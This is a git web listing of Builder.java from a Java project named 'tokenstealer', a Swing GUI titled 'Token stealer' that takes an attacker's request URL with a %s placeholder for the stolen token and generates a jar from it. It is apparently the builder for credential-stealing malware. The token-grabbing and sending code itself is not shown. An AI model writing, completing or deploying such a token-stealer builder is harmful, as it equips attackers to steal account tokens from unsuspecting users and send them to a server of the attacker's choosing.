aboutsummaryrefslogtreecommitdiff
path: root/src/main/java/de/romjaki/tokenstealer/builder/Builder.java
blob: 2d19e2553f703661bc3a82b2aff15bad6cb855e0 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package de.romjaki.tokenstealer.builder;

import javax.swing.*;
import java.awt.*;
import java.io.File;

public class Builder extends JFrame {
    public static final String PLACEHOLDER_HINT = "Use %s as placeholder for the token";
    public static final String COPYRIGHT = "COPYRIGHT: MAINZ DAZ IS!";
    private JTextField requestField;
    private JPanel requestPanel;
    private JLabel requestLabel;
    private JButton generateButton;

    public Builder() {
        super("Token stealer");
        setLayout(new GridLayout(0, 1));
        add(generateRequestField());
        add(generateGenerateButton());
        pack();
    }

    private Component generateGenerateButton() {
        generateButton = new JButton("Generate!");
        generateButton.setToolTipText(COPYRIGHT);
        generateButton.addActionListener(ignored -> BuildJar.buildJar(requestField.getText(), showSaveDialog()));
        return generateButton;
    }

    private File showSaveDialog() {
        JFileChooser chooser = new JFileChooser();
        switch (chooser.showSaveDialog(this)) {
            case JFileChooser.APPROVE_OPTION:
                return chooser.getSelectedFile();
            case JFileChooser.CANCEL_OPTION:
            case JFileChooser.ERROR_OPTION:
            default:
                return null;
        }
    }

    private Component generateRequestField() {
        requestPanel = new JPanel(new GridLayout());
        requestLabel = new JLabel("Request url:");
        requestLabel.setToolTipText(PLACEHOLDER_HINT);
        requestField = new JTextField(40);
        requestField.setToolTipText(PLACEHOLDER_HINT);
        requestPanel.add(requestLabel);
        requestPanel.add(requestField);
        return requestPanel;
    }
}